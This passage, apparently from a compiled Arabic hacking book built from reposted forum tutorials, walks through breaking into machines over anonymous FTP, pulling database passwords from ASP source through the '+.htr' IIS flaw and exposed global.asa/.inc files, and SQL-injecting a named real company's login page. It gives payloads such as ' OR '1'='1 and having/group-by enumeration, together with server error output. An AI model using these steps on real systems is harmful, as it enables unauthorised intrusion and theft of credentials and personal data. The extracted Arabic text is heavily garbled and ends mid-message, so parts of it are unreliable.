‫اكتب في تخانة ‪ Profile Name‬اسم حساب‬ ‫الدتخول؛ على سبيل المثال ‪My Home Page In‬‬ ‫‪ Tripod‬واكتب في تخانة ‪ Host Name‬اسم‬ ‫الملقن وفي هذا المثال هو ‪ ftp.tripod.com‬ثم في‬ ‫تخانة ‪ Host Type‬اتختر ‪ Auto Detect‬لكي يقو‪.‬م‬ ‫بالتدقيق التلقائي في نوع نظا‪.‬م الجهاز المضيف‪ ،‬بعد‬ ‫ذلك قم بكتابة السم في تخانة ‪ User ID‬وهو مثل ً‬ ‫‪ IronPrivate‬ثم الرقم السري في تخانة‬ ‫‪ Password‬وسيظهر مخفي ًا على هيئة نجو‪.‬م‬ ‫******‪ ,‬ثم اضغط ‪ .OK‬كما في الشكل التالي‪:‬‬<br /> <br /> ‫‪601‬‬<br /> <br /> ‫بعد ذلك سيقو‪.‬م البرنامج بالدتخول الى الحساب‬ ‫المطلوب وستنقسم نافذة البرنامج الى قسمين؛ القسم‬ ‫اليسر هو هجهاز الكمبيوتر لديك والقسم اليمن هو‬ ‫هجهاز الكمبيوتر المضيف‪ ،‬في هذه المرحلة تستطيع‬ ‫هجلب أو ارسال الملفات أو تغيير اسمائها أو حذفها ‪...‬‬ ‫الخ‪ .‬أي تستطيع التحكم في محتويات حسابك على‬ ‫النترنت أو على هجهازك بسهولة فائقة‪.‬‬ ‫نقل الملفات باستخدا‪.‬م التصال الشبكي البعيد‬ ‫‪:Telnet‬‬ ‫‪ Telnet‬هي بروتوكول انترنت معياري لخدمات‬ ‫الربط عن بعد ويسمح للمستخد‪.‬م بربط هجهازه على‬ ‫ل هجهازه وكأنه هجزء من ذلك‬ ‫كمبيوتر مضيف هجاع ً‬ ‫الكمبيوتر البعيد‪ .‬ويختلف العرض حسب نظا‪.‬م‬ ‫الكمبيوتر المضيف‪ .‬اذا كان الجهاز البعيد يستخد‪.‬م نظا‪.‬م‬ ‫‪ Windows‬فل مشكلة أما اذا كان يستخد‪.‬م نظا‪.‬م آتخر‬ ‫فيجب معرفة بعض الوامر للتحكم وأهم أمر يجب أن‬ ‫تعرفه هو "؟" والذي يحضر لك قائمة بالوامر‬ ‫اللزمة‪.‬‬<br /> <br /> ‫‪602‬‬<br /> <br /> ‫ استخدا‪.‬م برنامج ‪ Telnet‬من ‪:Windows‬‬‫ل يسمى ‪Telnet‬‬ ‫ترفق ‪ Windows‬برنامج ًا سه ً‬ ‫يمكنك الدتخول عليه بالضغط على قائمة ابدأ ‪ Start‬ثم‬ ‫تشغيل ‪ Run‬ثم اكتب ‪ Telnet‬وستنفتح لك صفحة‬ ‫البدء للبرنامج‪ ..‬من ‪ Connect‬اتختر ‪Remote‬‬ ‫‪ .System‬في صندوق الحوار ‪ Connect‬الذي‬ ‫سيظهر لك اكتب في تخانة ‪ Host Name‬اسم ملقن‬ ‫الجهاز المضيف ثم اكتب في تخانة ‪ Port‬الميناء أو‬ ‫المنفذ ) اذا كان لديك( او اتركه كما هو‪ ،‬ثم اتختر من‬ ‫الـ ‪ ، Term Type‬ان كان لديك وال قم بالتجربة‪.‬‬ ‫بعد ذلك اضغط ‪ Connect‬وعندما يتم الربط‬ ‫فستحتاج لدتخال السم والرقم السري‪ .‬وبعد النتهاء‬ ‫من النقل اتختر ‪ Disconnect‬من قائمة‬ ‫‪ Connect‬وبعد ذلك اتختر ‪.Exit‬‬ ‫انتهى‪،،،‬‬<br /> <br /> ‫" الوختراق عن طريق ‪"FTP‬‬ ‫‪603‬‬<br /> <br /> ‫>منقول من منتدى مدرسة الهكر<‬ ‫>الكاتب‪< hacker dz :‬‬ ‫اليو‪.‬م سوف نتناول طريقة إقتحا‪.‬م عبر فتيبي‬ ‫‪FTP‬‬ ‫أول و لنجا ح القتحا‪.‬م يجب ان يكون لدى الضحية‬ ‫البور‬ ‫‪21‬‬ ‫مفتو ح و هو البور الخاص ب‬ ‫‪FTP‬‬ ‫و لتأكد من أن البور مفتو ح عليك ان تستعمل برامج‬ ‫السكان و هي كثيرة و من اهمها‬ ‫‪Superscanne‬‬ ‫بعدما تتأكد ان البور مفتو ح ننتقل الى الخطوة الثانية و‬ ‫هي‬ ‫إضغط على‬ ‫‪Start‬‬ ‫ثم‬ ‫‪Run‬‬ ‫ثم اكتب‬ ‫‪604‬‬<br /> <br /> ‫‪ftp –n‬‬ ‫سوف تطلع لك نافدة في الدوس مكتوب عليها‬ ‫‪<FTP‬‬ ‫ؤوكي لحد هنا كل شيء تما‪.‬م‬ ‫و بعدين اكتب‬ ‫‪Open‬‬ ‫ثم إضغط على‬ ‫إدتخال‬ ‫‪Enter‬‬ ‫سوف تتحصل عب النتيجة التالية‬ ‫‪<FTP‬‬ ‫‪To‬‬ ‫أكتب بجانب‬ ‫‪To‬‬ ‫رقم البي للضحية ثم إضغط على إدتخال‬ ‫و الن تخد بالك معي‬ ‫إدا تحصلت على هدا الرد فقد تخطيت تخطوة‬ ‫‪Connected to www.assassin.com‬‬ ‫‪websrv1 Microsoft FTP Service 220‬‬ ‫‪.((Version 4.0‬‬ ‫و الن أكتب الكتابة التالية‬ ‫‪605‬‬<br /> <br /> ‫‪ftp>quote user ftp‬‬ ‫إدا تحصلت على هدا الرد فقد تخطيت تخطوة‬ ‫‪Anonymous acces allowed, 331‬‬ ‫‪send identify (e-mail name) as‬‬ ‫‪.password‬‬ ‫و الن أكتب الكتابة التالية‬ ‫‪ftp>quote cwd ~root‬‬ ‫إدا تحصلت على هدا الرد فقد تخطيت تخطوة‬ ‫‪Please login with USER and 530‬‬ ‫‪PASS‬‬ ‫ثم أكتب الكتابة التالية‬ ‫‪ftp>quote pass ftp‬‬ ‫إدا تحصلت على هدا الرد فقد تخطيت تخطوة‬ ‫و نجحت في القتحا‪.‬م‬ ‫‪.Anonymous user logged in 230‬‬ ‫مبروك أنت الن في هجهاز الضحية‬ ‫ما عليك الن ال ان تقو‪.‬م بإستعمال‬ ‫اوامر الفتيبي‬ ‫و طبعا لن امر عليها مرور الكرا‪.‬م لكي ل تقعو في‬ ‫المشكلة الي وقعت فيها و هي نجا ح القتحا‪.‬م من دون‬ ‫ما أعرف و ل فكرة على اوامر الفتيبي و إدا اردتم ان‬ ‫‪606‬‬<br /> <br /> ‫تضحكو بقاليأكثر من ‪ 20‬دقيقة و انا مجمد اليدي و‬ ‫الضحية عالقة من دون أن أعمل أي شيء و لهدا‬ ‫قمت بحضير الىوامر لكي تطبقوها مباشرةا بعد نجا ح‬ ‫القتحا‪.‬م‬ ‫‪Pwd‬‬ ‫لكي تعر ما يحتويه الهارد ديسك‬ ‫‪Cd‬‬ ‫لقتحا‪.‬م مجلد مثال‬ ‫‪Cd black‬‬ ‫في هدا المثال قمت بإقتحا‪.‬م مجلد المسمى بلك‬ ‫‪Ls‬‬ ‫لكي يتضح لك محتوى المجلد أو الهارد ديسك‬ ‫‪Get‬‬ ‫لكي تحمل الى سطح المكتب بتاع هجهازك‬ ‫مثال‬ ‫‪Get black.exe‬‬ ‫‪Put‬‬ ‫العملية العكسية ل‬ ‫‪Get‬‬ ‫يعني ان تأتخد ملف من سطح المكتب بتاع هجهازك و‬ ‫تضعه في‬ ‫‪607‬‬<br /> <br /> ‫في هجهاز الضحية‬ ‫مثال‬ Put black.exe Clos ‫لقطع التصال مع الضحية‬<br /> <br /> ‫هدي أهم الوامر و الن سون تطرق على أنواع‬ ‫الرسائل الي نتحصل عليها من هجهاز الضحية أثناء‬ ‫م و شرحها و ارقامها‬.‫تطبيق الوا‬ :Codes: Signification .Restart marker reply 110 Service ready in nnn 120 (minutes. (nnn est un temps Data connection already 125 .open; transfer starting File status okay; about to 150 .open data connection .Command okay 200 Command not 202 608<br /> <br /> implemented, superfluous at this .site System status, or system 211 .help reply .Directory status 212<br /> <br /> .File status 213 .Help message 214 .NAME system type 215 .Service ready for new user 220 Service closing control 221 .connection Data connection open; no 225 .transfer in progress .Closing data connection 226 Entering passive mode (h1, 227 .(h2, h3, h4, p1, p2 .User logged in, proceed 230 Requested file action okay, 250 .completed 609<br /> <br /> .PATHNAME" created" 257 User name okay, need 331 .password .Need account for login 332 Requested file action 350 .pendingfurther information Service not available, 421 .closing control connection .Can't open data connection 425 Connection closed; transfer 426 .aborded Requested file action not 450 taken. (Fichier déjà utilisé par autre (chose Requested action aborded: 451 .local error processing Requested action not taken. 452 (Pas assez de mémoire pour (exécuter l'action Syntax error, command 500 .unrecognized Syntax error in parameters 501 610<br /> <br /> .or arguments Command not 502 .implemented Bad sequence of 503 .commands Command not implemented 504 .for that parameter .Not logged in 530 Need account for storing 532 .files Requested action not taken. 550 (Fichier non trouvé, pas d'accès (...,possible Requested action aborded: 551 .page type unknown Requested file action 552 .aborded Requested action not taken. 553 ((Nom de fichier non attribué<br /> <br /> ،،،‫انتهى‬ 611<br /> <br /> ‫" اوختراق الـ ‪" SQL‬‬ ‫>منقول من منتدى الحلم<‬ ‫>الكاتب‪< linuxray :‬‬ ‫س ‪:‬في البداية ماهي الس كيو ال ) ‪( SQL‬؟؟‬ ‫الس كيو ال هي عبارة عن قاعد بيانات تحتوي على‬ ‫هجداول واغلب المواقع التي تكون صفحاتها منتهية ب‬ ‫‪ ASP‬هي صفحات تسحب بياناتها‬ ‫من قاعدة ‪ SQL‬وصفحات ‪ ASP‬ممكن ان تكون كنز‬ ‫من المعلومات لتختراق قواعد بيانات ‪ SQL‬وهذا‬ ‫ماسوف اشير اليه لحقا ‪ ،‬و ‪SQL‬‬ ‫تتنصت على البورت ‪1433‬‬ ‫ايضا مااريد ان اتخبرك به ان ال ‪ SQL‬قد تحتوي على‬ ‫اكثر من قاعدة بيانات وكل قاعدة بيانات تحتوي على‬ ‫عدد من الجداول يمكن‬ ‫ان تتصور كبرقواعد بيانات ‪ SQL‬والعدد الكبير من‬ ‫البيانات التى تحتويها ‪.‬‬ ‫‪612‬‬<br /> <br /> ‫س ‪ :‬مالذي يمكن ان استفيد منه اذا اتخترقت قاعدة‬ ‫بيانات ‪ SQL‬؟‬ ‫هذا على حسب نشاط الموقع اذا كان هذا الموقع‬ ‫منتدى ل اقصد منتديات ‪ PHP‬بل منتديات ‪ ASP‬في‬ ‫الغالب سوف تحصل على هجميع اسماء‬ ‫المستخدمين وكلمات السر وبامكانك تعديل وحذف اي‬ ‫موضوع وصلحيات لم تكن تحلم بها ‪ ،‬اما اذا كان‬ ‫الموقع يحتوي على ميزة‬ ‫قائمة المراسلت فسوف تحصل على اعداد تخيالية من‬ ‫اليميلت ‪ ،‬عندها قم بانشاء شركة للدعاية والعلن‬ ‫وسوف تصبح ثريا اذن لتنسى ‪_LinuxRay‬‬ ‫توقع ان تجد اي شئ داتخل قواعد بيانات معلومات‬ ‫اشخاص ‪ -‬ارقا‪.‬م هواتف ‪ -‬عناوين ‪ -‬تورايخ الميلد ‪،‬‬ ‫ممكن ان تصبح ‪. Administrator‬‬<br /> <br /> ‫اعرف انه قد اصابك الملل الن لكن استعد نشاطك من‬ ‫هجديد فالطريق مازال طويل ‪...‬‬<br /> <br /> ‫س ‪ :‬مالذي تحتاهجة للدتخول على قواعد بيانات‬ ‫‪613‬‬<br /> <br /> ‫‪ SQL‬؟‬ ‫تحتاج فقط لل ‪ User Name‬و ‪Passwd‬‬ ‫س ‪ :‬من اين احصل على اسم المستخد‪.‬م وكلمة المرور‬ ‫؟‬ ‫هناك طرق عديدة للحصول على ‪User name‬‬ ‫‪ and Passwd‬منها كما اسلف صفحات ال ‪ASP‬‬ ‫وملفات اتخرى من نوع *‪ sql.‬هناك ثغرات كثير يمكن‬ ‫ان تحصل منها على كلمات المرور مثل ثغرة ‪htr.+‬‬ ‫كيف تستخد‪.‬م هذه الثغرة ‪:‬‬<br /> <br /> ‫‪http://target/page.asp+.htr‬‬ ‫‪ : target‬الموقع الهدف‬ ‫‪ : Page‬صفحة ‪asp‬‬ ‫‪ : htr.+‬الثغرة‬<br /> <br /> ‫هذه الثغرة تقو‪.‬م احيانا بفتح صفحة بيضاء لتحتوي‬ ‫على اي حرف ‪ ....‬اعرف انك سوف تتساءل مالفائدة‬ ‫‪614‬‬<br /> <br /> ‫اذن منها الفائدة هو‬ View ‫تخلف هذه الصفحة البيضاء اذهب الى‬ ASP ‫ لكي ترى اوامر البرمجة الخاصة ب‬Source ‫ مثل‬: ‫التى ليمكن لك ان تراها في الوضع العادي‬<br /> <br /> %> Set DB= Server.CreateObject("ADODB.Conn ("ection DB.Open "DRIVER=SQL Server;SERVER=xxx;UID=sa;PWD=; APP=Microsoft (R) Developer Studio;WSID=xxx;DATABASE=moe "_dbs", "_LinuxRay", "6666666<br /> <br /> <% ---------------------------------------------------------------_ ‫م هو‬.‫في الكود السابق ترى ان اسم المستخد‬ 615<br /> <br /> ‫‪LinuxRay‬‬ ‫وكلمة السر هي ‪6666666‬‬ ‫‪--------------------------------------------------‬‬‫‪--------------‬‬<br /> <br /> ‫الشئ المضحك انه احيانا اذا كان هناك تخطأ في صفحة‬ ‫ال ‪ ASP‬مثل التي ‪:‬‬ ‫‪AMicrosoft VBScript runtime error‬‬ ‫‪''800a01a8‬‬ ‫‪'Object required: 'Conn‬‬ ‫‪filename.inc, line 5/‬‬ ‫هناك ملف ينتهي بامتداد *‪ inc.‬هذا ملف يحتوي على‬ ‫اوامر يتم تنفيذها من هجانب الملقم ويحتوي على اسم‬ ‫المستخد‪.‬م وكلمة المرور‬ ‫اذن ماذا تنتظر قم بسحب هذا الملف وذلك باضافة اسم‬ ‫الملف في عنوان الموقع ‪.‬‬ ‫‪616‬‬<br /> <br /> ‫وممكن ان ترى مثل هذا المر في صفحة ‪ASP‬‬ ‫عند تطبيق الثغرة عليها هذا يعني ان اوامر البرمجة‬ ‫داتخل ملف ‪database.inc‬‬ ‫>!‪<--"include file = "database.inc#--‬‬<br /> <br /> ‫وهناك عدة ملفات تحتوي على كلمة المرور مثل‬ ‫ملفات‬ ‫‪global.asa‬‬ ‫‪global.asa++‬‬ ‫‪beforemilion-global.asa‬‬ ‫‪global.asa‬‬‫‪milion.sql‬‬ ‫‪global-direct.asa‬‬ ‫ليس من الضرورة ان تكون الملفات بهذه السماء لكن‬ ‫هذا هو المعتاد عليه من قبل مبرمجين ‪SQL‬‬ ‫‪617‬‬<br /> <br /> ‫وكل ماعليك فعله ان تكتب اسم الصفحة مثل التي ‪:‬‬ ‫‪global.asa+.htr‬‬ ‫هناك ثغرة قديمة في ‪ IIS 3‬وهي ان تضيف بعد‬ ‫صفحة ‪ ASP‬هذا الرمز ‪ data$::‬كما يلي‬ ‫‪file.asp::$data‬‬ ‫هذه الثغرة لتعمل ال على ‪ IIS 3‬فل تتعب نفسك‬ ‫بتطبيقها فقط للعلم ل اكثر ‪.‬‬<br /> <br /> ‫لقد اقتربنا من النهاية ‪ ...‬ماذا بعد الحصول على اسم‬ ‫المستخد‪.‬م وكلمة المرور ؟؟‬ ‫بعدها الدتخول على قاعدة ال ‪!! SQL‬‬ ‫هناك عدة برامج تدتخل على قاعدة البينات انا استخد‪.‬م‬ ‫‪ Visual interdev 6.0‬لكني مازلت افضل‬ ‫استخدا‪.‬م البرنامج السهل ‪ACCESS 2000‬‬ ‫كل ما عليك فعله هو فتح البرنامح الذهاب الى قائمة‬ ‫‪File‬‬ ‫‪618‬‬<br /> <br /> ‫اتختر‬ ‫‪New‬‬ ‫ومن قائمة الملفات الجديدة اتختار‬ ‫‪(Project (Exiting Data‬‬ ‫اي مشروع قاعدة بيانات موهجودة ‪.‬‬ ‫سيظهر لك مربع لنشاء الملف اتختر‬ ‫‪Create‬‬ ‫اي انشاء‬ ‫الن سترى مربع‬ ‫‪Data Link Properties‬‬ ‫تحتاج فقط لثلث معلومات اسم الموقع او الي بي ‪-‬‬ ‫اسم المستخد‪.‬م ‪ -‬كلمة المرور‬ ‫‪ - 1‬ادتخل اسم الموقع في صندوق ‪Select or‬‬ ‫‪enter server name‬‬ ‫‪ - 2‬اسم المستخد‪.‬م في ‪User Name‬‬ ‫‪ - 3‬كلمة السر ‪Password‬‬ ‫ملحظة ) قم بإزالة الصح من مربع ‪Blank‬‬ ‫‪619‬‬<br /> <br /> ‫‪(Password‬‬ ‫اضغط في البداية على ‪ Test Connection‬في‬ ‫السفل لتختبار التصال بقاعدة البيانات اذا رأيت هذه‬ ‫العبارة ‪Test Connection Succeeded‬‬ ‫فمعناه ان التصال بقاعدة البيانات تم بنجا ح‪.‬‬ ‫يمكنك الن ان تختار اي قاعدة بيانات تريد الدتخول‬ ‫اليها من القائمة المسندلة ‪:‬‬ ‫‪Select the data base on the server‬‬ ‫واضغط على ‪ OK‬او موافق ‪.‬‬ ‫انتهى‪،،،‬‬<br /> <br /> ‫" درس مفصل عن الـ ‪" SQL‬‬ ‫>منقول من منتديات شبكة الحز‪.‬م السلمية<‬ ‫>الكاتب‪< hish_hish :‬‬ ‫أتجهت غالبية المواقع لستخدا‪.‬م صفحات ديناميكيه‬ ‫ومنها ما نحن موهجودين فيه ‪(:‬‬ ‫‪620‬‬<br /> <br /> ‫وتستخد‪.‬م قواعد بيانات فيها كم كبير من المعلومات ‪,‬‬ ‫وعن طريق سكربت مكتوب بإحدى لغات الويب‬ ‫الديناميكيه ‪ PHP‬أو ‪ASP‬‬ ‫والتي تعمل هجمبا إلى هجمب مع محركات قواعد البيانات‬ ‫‪.‬‬ ‫‪SQL Server , MySQL,Oracle‬‬ ‫يتم أستخلص المعلومات المطلوبه وترك البقيه‬ ‫حيث تأتخذ معلومات من المستخد‪.‬م ومن ثم تعالج‬ ‫ويستخد‪.‬م بعضها في تكون‬ ‫أوامر الـ ‪ SQL‬ليتم أستخلص البيانات أو التأكد من‬ ‫صحة بعض المدتخلت لبناء‬ ‫الصفحة المطلوبه أو قبول المستخد‪.‬م أو رفضه‬ ‫دائما يتم طلب أسم مستخد‪.‬م وكلمة مرور في الصفحات‬ ‫التي تخولك بعمل عمل ل‬ ‫يقو‪.‬م به إل من قا‪.‬م صاحب الموقع بإعطائه الصلحيه‬ ‫للقيا‪.‬م بها‬ ‫كأن يقو‪.‬م بحذف موضوعي ‪ (:‬أو تثبيته في القائمه‬ ‫‪((((:‬‬ ‫حيث يتم التأكد من وهجود أسم المستخد‪.‬م في قاعدة‬ ‫البيانات وأن كلمة المرور المعطاه مطابقه لتلك‬ ‫الموهجوده بجانب أسم المستخد‪.‬م‬ ‫حيث يتم أتخذ معلومه وتضمينها في أمر الـ ‪SQL‬‬ ‫‪621‬‬<br /> <br /> ‫الذي يقو‪.‬م بالتأكد من وهجودها وصلحيتها‬ ‫ولكن يجب الحذر عند كتابة سكربت يقو‪.‬م بتوثيق‬ ‫المستخد‪.‬م للتأكد من أنه مخول له بالدتخول للصفحه‬ ‫المحميه أ‪.‬م ل‬ ‫وذلك بالتأكد من نظافة القيم المستقبله من المستخد‪.‬م‬ ‫وتخلوها من أي رموز من شأنها أن تجعل أمر الـ‬ ‫‪ SQL‬تخاطئ‬ ‫في بنائه أو القيا‪.‬م بأي أمر غير مسمو ح به‬ ‫سنتكلم الن عن ما يسمى ‪SQL injection‬‬ ‫حيث أنه ضعف في كتابة سكربت التوثيق وأيضا‬ ‫بوهجود موقع للتجربه‬ ‫وهو موقع شركة التصالت السعوديه‬ ‫عنوان الموقع ‪/http://www.stc.com.sa‬‬ ‫عند الدتخول للصفحة الرئيسيه نجد رابط يختص‬ ‫بمقدمي تخدمة أنترنت في السعوديه‬ ‫وهو‬ ‫‪http://www.stc.com.sa/arabic/script‬‬ ‫‪s/ar_frame.asp?pagenum=25‬‬ ‫عند دتخوله فأنه يطلب منك أسم مستخد‪.‬م وكلمة مرور‬ ‫!!!!‬ ‫دائما في الحاله هذه أول ما يتبادر لنا هو الـ ‪SQL‬‬ ‫‪622‬‬<br /> <br /> injection ‫م بتجربة‬.‫نقو‬ ' : ‫م‬.‫أسم مستخد‬ ' : ‫وكلمة مرور‬ ‫فنحصل على الخطأ التالي‬ :‫اقتباس‬<br /> <br /> Microsoft OLE DB Provider for ODBC Drivers error ''80040e14 Microsoft][ODBC SQL Server] Driver][SQL Server]Unclosed quotation mark before the .' '' character string / arabic/Scripts/ar_csd_reply.a sp, line 33<br /> <br /> ‫وفي بعض الحالت يظهر الخطا التالي‬ 623<br /> <br /> :‫اقتباس‬<br /> <br /> Microsoft OLE DB Provider for ODBC Drivers error ''80040e14 Microsoft][ODBC SQL Server] Driver][SQL Server]Unclosed quotation mark before the character string ''' .''=AND Password admin/admin.asp, line 13/<br /> <br /> SQL ‫وفي الخطأ هذا حصلنا على هجزء من أمر الـ‬ ‫وأيضا أسم أحد العمده في الجدول‬ SQL ‫ للـ‬inject ‫وهو ما يؤكد أمكانية عمل‬ ‫م‬.‫ المستخدمه للتحقق صلحية أسم المستخد‬Query . ‫وكلمة المرور المدتخله‬ ‫ بشيء من‬SQL injection ‫إذن لنتكلم عن الـ‬ ‫التفصيل‬ 624<br /> <br /> ‫لو كان لدينا سكربت يقو‪.‬م بالتأكد من صلحية اسم‬ ‫المستخد‪.‬م وكلمة المرور المدتخله من المستخد‪.‬م قأننا‬ ‫سنتحقق منها بالطريقة التاليه‬ ‫‪:code‬‬ ‫‪SELECT * from Users‬‬ ‫‪WHERE User_Name='<field‬‬ ‫‪from web form>' AND‬‬ ‫‪Password='<field from‬‬ ‫‪'<web form‬‬ ‫‪}( if( TRUE‬‬ ‫‪Login OK‬‬ ‫{‬ ‫‪} else‬‬ ‫‪Login FAILD‬‬ ‫{‬ ‫عند قيا‪.‬م أحد المسمو ح لهم بالدتخول للصفحة المحميه‬ ‫فأنه يقو‪.‬م بكل تأكيد بتوثيق نفسه قبل أن يسمح له‬ ‫بالدتخول‬ ‫فعند قيامه بأدتخال أسم المستخد‪.‬م وكلمة المرور‬ ‫‪625‬‬<br /> <br /> ‫الخاصه به‬ ‫أسم المستخد‪.‬م ‪admin :‬‬ ‫كلمة المرور ‪t0ps3cr3t :‬‬ ‫فإن شكل امر الـ ‪ SQL‬سيصبح بالشكل التالي ‪:‬‬ ‫‪:code‬‬ ‫‪SELECT * from Users‬‬ ‫‪WHERE‬‬ ‫‪Users_Name='admin' AND‬‬ ‫‪'Password='t0ps3cr3t‬‬ ‫وعند وهجود سطر في هجدول ‪ User‬تحقق فيه الشرط‬ ‫وهو أن يكون اسم المستخد‪.‬م ‪ admin‬وكلمة المرور‬ ‫‪t0ps3cr3t‬‬ ‫فأن المر سيقو‪.‬م بإرهجاع قيمة ‪ TRUE‬أي أن‬ ‫المستخد‪.‬م مخول بالدتخول ‪.‬‬ ‫غير ذلك سيتم إرهجاع ‪ FALSE‬وسيتم رفض الدتخول‬ ‫ملحظه ‪ :‬يجب أن يكون لديك ولو القليل من المعرفه‬ ‫بأوامر الـ ‪. SQL‬‬ ‫>‪ <field from web form‬يحل محلها ما أدتخله‬ ‫‪626‬‬<br /> <br /> ‫المستخد‪.‬م في صفحة التحقق من صلحيته‬ ‫في تجربتنا عندما قمنا بإدتخال ' كإسم مستخد‪.‬م وبالمثل‬ ‫لكلمة المرور فأن أمر الـ ‪ SQL‬أصبح بالشكل التالي ‪:‬‬ ‫‪:code‬‬ ‫‪SELECT * from Users‬‬ ‫' ' '=‪WHERE User_Name‬‬ ‫‪' ' '=AND Password‬‬ ‫ونلحظ أننا قمنا بإغلق علمة التنصيص الولى وبقي‬ ‫علمة تنصيص لم تغلق بعد‬ ‫وهو ما أدى لظهور رسالة الخطأ !!‬ ‫الن نقو‪.‬م بتجربة ٍا‪.‬م مستخد‪.‬م ‪blah' OR '1'='1 :‬‬ ‫ومثلها لكلمة المرور‪.‬‬ ‫فيصبح شكل أمر الـ ‪SQL‬‬ ‫‪:code‬‬ ‫‪SELECT * from Users‬‬ ‫'‪WHERE User_Name='blah‬‬ ‫‪OR '1'='1' AND‬‬ ‫‪627‬‬<br /> <br /> ‫‪Password='blah' OR‬‬ ‫‪''1'='1‬‬ ‫لنحلل المر كل هجزء على حدا‬ ‫‪SELECT * from Users‬‬ ‫تعني أتختر هجميع السطور من الجدول ‪Users‬‬ ‫‪WHERE User_Name='blah' OR‬‬ ‫‪'1'='1' AND Password='blah' OR‬‬ ‫‪''1'='1‬‬ ‫في هذا الجزء نقو‪.‬م بتحديد السطر الذي سنقو‪.‬م‬ ‫بإتختياره وهو الذي تتحقق فيه الشروط‬ ‫'‪'blah' OR '1'='1‬‬ ‫هنا بوهجود ‪ OR‬لم تصبح قيمة نصيه ولكن أصبحت‬ ‫شرط‬ ‫يصبح الشرط صحيح إذا كان طرف واحد على القل‬ ‫من الطراف المشتركه في الشرط صحيح‬ ‫وفي حالتنا فإن الطرف الول هو '‪'blah‬‬ ‫وهو بدون الخوض في تفاصيل لسنا في صددها الن‬ ‫يعبر عن قيمة صحيحه ‪TRUE‬‬ ‫والطرف التخر هو '‪'1'='1‬‬ ‫يمكنك الهجابة عن إذا كانت ‪ 1‬مساويه لـ ‪ 1‬أ‪.‬م ل !!!!‬ ‫‪628‬‬<br /> <br /> ‫إذا سيكون شكل الشرط بعد تحليله هو ‪TRUE OR‬‬ ‫‪TRUE‬‬ ‫وبالتالي فإن النتيجه النهائيه للشرط هي ‪TRUE‬‬ ‫ونفس التفاصيل تحدث لكلمة المرور‬ ‫ملحظه مهمه هجدُا‪ :‬القيمه ‪ TRUE‬التي نحصلها من‬ ‫الشرط ليست مساويه للكلمه ‪ TRUE‬التي نكتبها على‬ ‫لوحة المفاتيح الخاصه بنا‬ ‫لذلك ل تحاول إستخدا‪.‬م أسم مستخد‪.‬م ‪ TRUE‬وكلمة‬ ‫مرور ‪ TRUE‬لتما‪.‬م الـ ‪SQL injection‬‬ ‫الشرط السابق سيقو‪.‬م بأتختيار أول سطر من الجدول‬ ‫‪ Users‬ويرهجع محتوياته في مصفوفه‬ ‫وبالتالي في بعض الحالت ستجد أنك قد أستطعت‬ ‫الدتخول للصفحة المحميه‬ ‫ولكن في حالت أتخرى ل‬ ‫لنكمل التفاصيل ‪.....‬‬ ‫يجب التنبه لنه ربما يكون الشرط في أمر الـ ‪SQL‬‬ ‫وهو ما يأتي بعد ‪ WHERE‬يتحقق من عدة أشياء‬ ‫لذلك نستخد‪.‬م ‪ (two dashes) --‬ليتم إهمال بقية‬ ‫السطر ‪ ,‬حيث يمكننا الستعاضه عن ما أدتخلناه قبل‬ ‫قليل بالمدتخلت التاليه‬ ‫أسم مستخد‪.‬م ‪--'blah' OR '1'='1 :‬‬ ‫‪629‬‬<br /> <br /> ‫وكذلك كلمة المرور ) في بعض الحالت يمكنك إهمال‬ ‫ ستهملها لنها تأتي بعد اسم‬-- ‫كتابة كلمة مرور لن‬ SQL ‫م في أمر الـ‬.‫المستخد‬ ‫توهجد طريقه مريحه هجدا ومضمونه بحيث أنك لن‬ ‫تحتاج لتخمين أحد أسماء العمده‬ having clause ‫م‬.‫وهي أستخدا‬ ‫بالطريقه التاليه‬ 'having 1=1-- ‫م‬.‫أسم مستخد‬ ‫حيث سنحصل على رسالة تخطأ كالتاليه‬ Microsoft OLE DB Provider for 'ODBC Drivers error '80040e14 Microsoft][ODBC SQL Server] Driver][SQL Server]Column 'cs_isp_user.UserID' is invalid in the select list because it is not contained in an aggregate function .and there is no GROUP BY clause Arabic/Scripts/ar_csd_reply.asp,/ line 33 630<br /> <br /> ‫وبها أسم الجدول وأيضا أسم أول عمود‬ ‫بعدها لنستطيع الحصول على اسماء بقية العمده‬ ‫سنستخد‪.‬م ‪group by‬‬ ‫بالشكل التالي‬ ‫‪'group by cs_isp_user.UserID-‬‬‫بعدها سنحصل على عمود أسمه ‪passwd‬‬ ‫فنستخدمه للحصول على اسم العمود اللي يليه بالشكل‬ ‫التالي‬ ‫‪group by-‬‬‫‪cs_isp_user.UserID,cs_isp_user.pa‬‬ ‫‪'sswd‬‬ ‫ونكرر زيادة أسم كل هجدول مع العمود إلى أن نحصل‬ ‫على صفحة تخبرنا بأن أسم المستخد‪.‬م تخاطئ !‬ ‫نحتاج الن أن نقو‪.‬م بجمع أكبر قدر ممكن من أسماء‬ ‫العمده في هذا الجدول‬ ‫نقو‪.‬م بإدتخال التالي ‪:‬‬ ‫أسم مستخد‪.‬م ‪blah' group by :‬‬ ‫‪--((username‬‬ ‫فنحصل على الخطأ التالي ‪:‬‬ ‫اقتباس‪:‬‬ ‫‪631‬‬<br /> <br /> Microsoft OLE DB Provider for ODBC Drivers error ''80040e14 Microsoft][ODBC SQL Server] Driver][SQL Server]Invalid .'column name 'username / arabic/Scripts/ar_csd_reply.a sp, line 33<br /> <br /> ‫وهو ما يفيد بأنه ل يوهجد عمود في هذا الجدول له‬ username ‫السم‬ password ‫م بتجربه السماء الشائعه مثل‬.‫نقو‬ ,username,id,userid,email first_name, ‫ فأننا نحصل على تخطأ أتخر‬userid ‫عند تجربتنا لـ‬ ‫وهو ما نبحث عنه‬ :‫اقتباس‬<br /> <br /> 632<br /> <br /> Microsoft OLE DB Provider for ODBC Drivers error ''80040e14 Microsoft][ODBC SQL Server] Driver][SQL Server]Column 'cs_isp_user.passwd' is invalid in the select list because it is not contained in either an aggregate function .or the GROUP BY clause / arabic/Scripts/ar_csd_reply.a sp, line 33<br /> <br /> ‫هنا حصلنا على معلومتين وهي أسم الجدول وهو‬ cs_isp_user passwd ‫وأيضا أسم أحد العمده وهو‬ ‫م اسم‬.‫م الن بتكرار العمل السابق ولكن بإستخدا‬.‫نقو‬ ‫العمود الجديد‬ blah' group : ‫م التالي‬.‫م بإدتخال أسم المستخد‬.‫فنقو‬ 633<br /> <br /> --(by (passwd : ‫فنحصل على الخطأ التالي‬ :‫اقتباس‬<br /> <br /> Microsoft OLE DB Provider for ODBC Drivers error ''80040e14 Microsoft][ODBC SQL Server] Driver][SQL Server]Column 'cs_isp_user.UserID' is invalid in the select list because it is not contained in either an aggregate 